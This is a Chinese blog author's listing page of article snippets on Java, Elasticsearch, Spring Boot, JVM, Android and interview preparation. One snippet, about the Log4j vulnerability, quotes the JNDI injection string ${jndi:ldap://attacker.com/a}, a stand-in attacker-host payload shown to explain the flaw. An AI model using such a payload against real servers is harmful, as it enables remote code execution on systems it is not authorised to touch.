![](https://img-blog.csdnimg.cn/20201014180756916.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
作者\/
文章平均质量分 82
普通网友
这个作者很懒,什么都没留下…
展开
-
Elasticsearch 高频面试题(含答案)
(3)在新的文档被创建时,Elasticsearch 会为该文档指定一个版本号,当执行更新时,旧版本的文档在.del 文件中被标记为删除,新版本的文档被索引到一个新段。(3)在 flush 过程中,内存中的缓冲将被清除,内容被写入一个新段,段的 fsync将创建一个新的提交点,并将内容刷新到磁盘,旧的 translog 将被删除并开始一个新的 translog。结合 ES 自身的支持动态扩展的特点,动态新增机器的方式可以缓解集群压力,注意:如果之前主节点等规划合理,不需要重启集群也能完成动态新增的。原创 2024-05-29 12:47:27 · 804 阅读 · 0 评论 -
Elasticsearch 聚合查询(aggs)
histogram是把数值类型的字段,按照一定的阶梯大小进行分组。刚刚的案例中,我们在桶内嵌套度量运算。范围分桶与阶梯分桶类似,也是把数字按照阶段进行分组,只不过range方式需要你自己指定每一组的起始和结束大小。前面的例子告诉我们每个桶里面的文档数量,但是我们需要更复杂的文档度量,我们需要告诉Elasticsearch。比如:我们想统计每种颜色的汽车中,分别属于哪个制造商,按照。:根据日期阶梯分组,例如给定阶梯为周,会自动每周分为一组。:数值和日期的范围分组,指定开始和结束,然后按段分组。原创 2024-05-29 12:46:55 · 616 阅读 · 0 评论 -
B站【狂神说Java笔记】-面向对象编程
内部类就是在一个类的内部定义一个类,比如,A类中定义一个B类,那么B类相对A类来说就称为内部类,而A类相对于B类来说就是外部类了。abstract 用来可以用来修饰方法也可以修饰类,如果修饰方法,那么该方法就是抽象方法。如果修饰类,那么该类就是抽象类。子类继承抽象类,必须实现所有的抽象方法,否则该子类也要声明为抽象类。抽象方法,只有方法的声明,没有方法的实现,它是用来让子类实现的。抽象类中可以没有抽象方法,但是有抽象方法的类必须声明为抽象类。继承的本质是对某一批类的抽象,从而实现对现实世界更好的建模。原创 2024-05-29 12:03:49 · 709 阅读 · 0 评论 -
B站【狂神说Java笔记】-java流程控制
语句与语句之间,框与框之间是按从上到下的顺序进行的,它是由若干个依次执行的处理步骤组成的,它是任何一个算法都离不开的一种基本算法结构。我们很多时候需要去判断一个东西是否可行,然后我们才去执行,这样一个过程在程序中用if语句来表示。//如果布尔表达式为false,则进入else语句块,执行里面代码。//如果布尔表达式为true,则进入if语句块了,执行里面代码。//如果布尔表达式为true,则进入if语句块,执行里面代码。//如果以上的表达式都不满足,则执行这里。}else if(布尔表达式2){原创 2024-05-29 12:03:17 · 262 阅读 · 0 评论 -
2024春招Java后端开发面试总结:25个技术专题(最全面试攻略)
8、Elasticsearch 中的节点(比如共 20 个),其中的 10 个选了一个 master,另外 10 个选了另一个 master,怎么办?18、有两个篮子,分别为A 和 B,篮子A里装有鸡蛋,篮子B里装有苹果,请用面向对象的思想实现两个篮子里的物品交换(请用代码实现)7、K-Means或KNN中,通常使用欧式距离来表示最近的数据点之间的距离,有时候也使用曼哈度距离,对比两者的区别。12、你的系统目前有许多正在运行的任务,在不重启机器的条件下,有什么方法可以把所有正在运行的进程移除呢?原创 2024-05-29 11:14:25 · 663 阅读 · 0 评论 -
2024总结全网最新、最全、最实用Java岗面试真题!已收录GitHub
一、Java快速面试。原创 2024-05-29 11:13:53 · 306 阅读 · 0 评论 -
设计模式(四):代理模式、原型模式与模板方法模式
举个栗子,比如实现代理处理请求我们首先实现一个接口,该接口包含了代理类和Service类的功能然后我们实现Service类再然后我们实现我们的代理类通过使用接口规范代理和Service类共有的功能,让代理类组装Service类,那我们就可以实现代理了,从外界看起来就像是,代理帮Service去实现请求处理。原创 2024-05-28 21:59:51 · 380 阅读 · 0 评论 -
计算机行业的薪资真的有那么高吗?讲真,有的一毕业就失业,有的一毕业就拿 20k+
对于计算机专业来说,GitHub、Stack Overflow、百度、谷歌,一定要用得好,像 GitHub,大量优质的内容都在上面,学会搜索,基本上任何宝藏你都能 get 到。进入一个公司后,不管是实习,还是正式参加工作,一定要能尽快适应下来,和同事打成一片,关系融洽,才能更好的工作,把自己的能力表现出来。对于新人来说,一开始遇到问题的时候,只能面向搜索引擎,去看看别人有没有遇到类似的问题,有没有解决方案,然后套用一下,看能不能把问题给解决了。5k 左右的薪资算是比较低的了,但在当时的苏州,感觉还可以吧。原创 2024-05-28 21:58:08 · 797 阅读 · 0 评论 -
感受 lambda 之美!
uglily;test(() -> “我是一个演示的函数式接口”);/*** 演示自定义函数式接口使用*///9龙的身高高于185吗?:false//命运由我不由天//9龙//10//false//6//我是一个演示的函数式接口以上演示了lambda接口的使用及自定义一个函数式接口并使用。下面,我们看看java8将函数式接口封装到流中如何高效的帮助我们处理集合。例子中这种编写lambda表达式的方式称为。是不是很神奇,java8就是这么迷人。img。原创 2024-05-28 21:09:32 · 652 阅读 · 0 评论 -
微服务配置中心 Apollo解析——Portal 创建 App
com.ctrip.framework.apollo.common.entity.App.AppRepository ,继承 org.springframework.data.repository.PagingAndSortingRepository 接口,提供 App 的。com.ctrip.framework.apollo.portal.listener.AppCreationEvent ,实现 org.springframework.context.ApplicationEvent 抽象类,App。原创 2024-05-28 21:09:00 · 718 阅读 · 0 评论 -
五、springboot 简单优雅是实现邮件服务
这里我们就先简单的测试一下看看邮件能不能发送。MimeMessage 比 SimpleMailMessage 功能更强大,可以发送附件,也可以将内容转成html 格式发送。有时候我们发送邮件不仅仅发送内容,还需要发送附件,那怎么实现呢。提示已经发送成功啦,我们进邮箱看下我们发送情况。到此为止,我们邮件服务的demo 就已经搭建好了。所以现在看来,springboot 集成邮件服务是非常简单的,配置邮件服务器,就可以直接使用啦。可以看到就一个发送的接口。可以看到和我们开始测试的时候,有一点不同。原创 2024-05-28 20:15:40 · 530 阅读 · 0 评论 -
二本Java菜鸟9面字节遭虐,苦修数月深造这份 Java面试宝典,终进阿里
网友们的评论真相了:“字节这么缺人?大家可以去投了”“看来字节跳动就是要定你了!“哥们你这得累积多少大厂面试经验啊!快点传授一波!“我的天哪,638份简历,9次字节面试,吾辈楷模。真正的海量面经!问及面试考题,这位兄弟言辞中有些许惭愧:面试官已经给了一些提示,但无奈自己准备得不充分,回答很不理想。他没想到,像Redis,Spring,JVM,Zookeeper等这些在工作中都有涉及过的技术,面试官会问的这么深入!原创 2024-05-28 20:15:09 · 802 阅读 · 0 评论 -
SpringBoot整合MyBatis-Plus+Thymeleaf+拦截器
动静结合:Thymeleaf 在有网络和无网络的环境下皆可运行,即它可以让美工在浏览器查看页面的静态效果,也可以让程序员在服务器查看带数据的动态页面效果。与SpringBoot完美整合,SpringBoot提供了Thymeleaf的默认配置,并且为Thymeleaf设置了视图解析器,我们可以像以前操作jsp一样来操作Thymeleaf。开箱即用:它提供标准和spring标准两种方言,可以直接套用模板实现JSTL、 OGNL表达式效果,避免每天套模板、该jstl、改标签的困扰。//查询失败,提示错误。原创 2024-05-28 18:18:34 · 752 阅读 · 0 评论 -
Springboot整合ActiveMQ(Queue和Topic两种模式)
test。原创 2024-05-28 18:18:03 · 781 阅读 · 0 评论 -
Log4j史诗级漏洞,我们这些小公司能做些什么?
/***/// 获取user-agent信息// 此行记录日志的代码,通过记录攻击者控制的HTTP用户代理标头来触发RCE。// 攻击者可以设置他们的User-Agent header到${jndi:ldap://attacker.com/a}。原创 2024-05-28 17:30:07 · 901 阅读 · 0 评论 -
linux常用命令(面试)
当然,如果想解压缩,就直接替换上面的命令 tar -cvf / tar -zcvf / tar -jcvf 中的“c” 换成“x” 就可以了。例:grep -r “close” /home/* | more 在home目录下所有文件中查找,包括close的文件,并分页输出。tar -jcvf /home/abc.tar.bz2 /home/abc 打包,并用bzip2压缩。tar -zcvf /home/abc.tar.gz /home/abc 打包,并用gzip压缩。使用ESC或i或:来切换模式。原创 2024-05-28 17:29:37 · 240 阅读 · 0 评论 -
Jar包问题查找脚本
这个脚本在Jar包中进行二进制内容查找指定的字段经常可以解决一些很神奇的问题,例如某些功能上线没有生效、某些日志没有打印,上了新功能却没有展示,就可以通过这个命令查找打的包是否有问题。/bin/bash。原创 2024-05-28 16:45:13 · 903 阅读 · 0 评论 -
Jar 包依赖冲突排查思路和解决方法
应用从 jdk7 升级到 jdk8,终于可以用上新特性的语法进行代码编写,通过几轮开发、测试和验证后,在上预发环境时,应用突然无法启动,查看 tomcat 报错原因,发现是。原创 2024-05-28 16:44:41 · 725 阅读 · 0 评论 -
leetcode402
如果不删,接下来的数字不论怎么操作,都会是135****,都会大于133****。注意:可能到最后都没有删掉k个数,这时序列已经是一个非递减序列,应该删除后面对应个数的数字。解释: 移除掉三个数字 4, 3, 和 2 形成一个新的最小的数字 1219。解释: 移掉首位的 1 剩下的数字为 200. 注意输出不能有任何前导零。输入: num = “1432219”, k = 3。输入: num = “10200”, k = 1。解释: 从原数字移除所有的数字,剩余为空就是0。输出: “1219”原创 2024-05-26 22:02:35 · 384 阅读 · 0 评论 -
Java~完成项目图书管理系统(增加整理书籍功能)
System.out.println(“输入书名” + " 作者" + " 价格" + " 类型");System.out.println(“输入你要查找的书名”);System.out.println(“输入你要归还的书名”);System.out.println(“输入你要借的书名”);System.out.println(“输入你要删的书名”);" 已借出" : " 未借出") +System.out.println(“2.新增书籍”);System.out.println(“3.删除书籍”);原创 2024-05-26 20:24:16 · 289 阅读 · 0 评论 -
JVM(二):垃圾收集器与内存分配策略
GC收集器会对F-Queue中的所有对象进行第二次小规模的标记,原创 2024-05-25 22:18:43 · 320 阅读 · 0 评论 -
JVM面试题系列:new String(“abc“)创建了几个对象
每个栈帧内部都包含一个指向当前方法所在类型的运行时常量池的引用,以便对当前方法的代码实现动态链接。在class文件里面,一个方法若要调用其他方法,或者访问成员变量,则需要通过符号引用来表示,动态链接的作用就是将这些以符号引用所表示的方法转换为对实际方法的直接引用。原创 2024-05-25 22:18:11 · 332 阅读 · 0 评论 -
Java编程:弗洛伊德算法(无向图所有顶点最小路径)
System.out.print(“(” + vertex[i] + “到” + vertex[j] + “的最短路径是:” + dis[i][j] + ") ");// 对中间顶点遍历,k就是中间顶点的下标 [‘A’,‘B’,‘C’,‘D’,‘E’,‘F’,‘G’]// 从i顶点开始出发 [‘A’,‘B’,‘C’,‘D’,‘E’,‘F’,‘G’]// 到达j顶点,[‘A’,‘B’,‘C’,‘D’,‘E’,‘F’,‘G’]// 记录变量保存距离。原创 2024-05-25 20:47:10 · 339 阅读 · 0 评论 -
Java编程:图
类似于一个分层搜索的过程,广度优先遍历需要使用一个队列以保持访问过的结点的顺序,以便按这个顺序来访问这些结点的邻接结点。@param v1 表示点的下标 即是第几个顶点 “A” - “B” => “A” - 0 “B” - 1。// 体现出广度优先。返回结点i(下标) 对应的数据 0->“A” 1->“B” 2->“C”6.3 查找结点u的继w邻接结点后的下一个邻接结点w,转到步骤6。@param i 第i个结点 第一次是0。6.1 若结点w尚未被访问,则访问结点w并标记为已访问。原创 2024-05-25 20:46:39 · 396 阅读 · 0 评论 -
Java scope和TransactionConfiguration
附上SpringUtils类,该类是为了通过applicationContext文件,加载对应的spring组件。结论:prototype状态下,service在获取时会重新加载一个新的对象。结论:service对象在单例情况下只有1个。原创 2024-05-25 18:21:46 · 387 阅读 · 0 评论 -
Java Scanner类
System.out.println(“使用nextline方式借收:”);//凡是属于IO流的类如果不关闭会一直占用资源,要养成用完就关闭的好习惯。System.out.println(“输出的内容为:”+str);System.out.println(“输出的内容为:”+str);,也就是说 nextLine()方法返回的是输入回车之前的所有字符。3、只有输入有效字符后才将其后面输入的空白作为分隔符或者结束符。2、对输入有效字符之前遇到的空白,next() 方法会。//判断用户有没有输入字符串。原创 2024-05-25 18:21:16 · 363 阅读 · 0 评论 -
Android Studio 实现登录注册-源代码 二(Servlet + 连接MySql数据库)
Toast.makeText(getApplicationContext(),“登录成功”,Toast.LENGTH_LONG).show();Toast.makeText(getApplicationContext(),“登录失败”,Toast.LENGTH_LONG).show();//Post方式不能缓存,需手动设置为false。//访问的serlver不一样。//设置请求方式,请求超时信息。// 获取响应的输入流对象。msg = “成功”;//访问servlet。//传递的参数不一样。原创 2024-05-25 15:11:14 · 416 阅读 · 0 评论 -
Android Studio 实现实现学生信息的查询 -源代码 三(Servlet + 连接MySql数据库) (JSON通信)
usersuidnameusernamepasswordagephoneuidusersVALUES (‘2’, ‘123’, ‘HBV环保局’, ‘123’, ‘33’, 0x3133333333333333333333);usersVALUES (‘3’, ‘1233’, ‘反复的’, ‘1233’, ‘12’, 0x3132333333333333333333);users。原创 2024-05-25 15:10:43 · 394 阅读 · 0 评论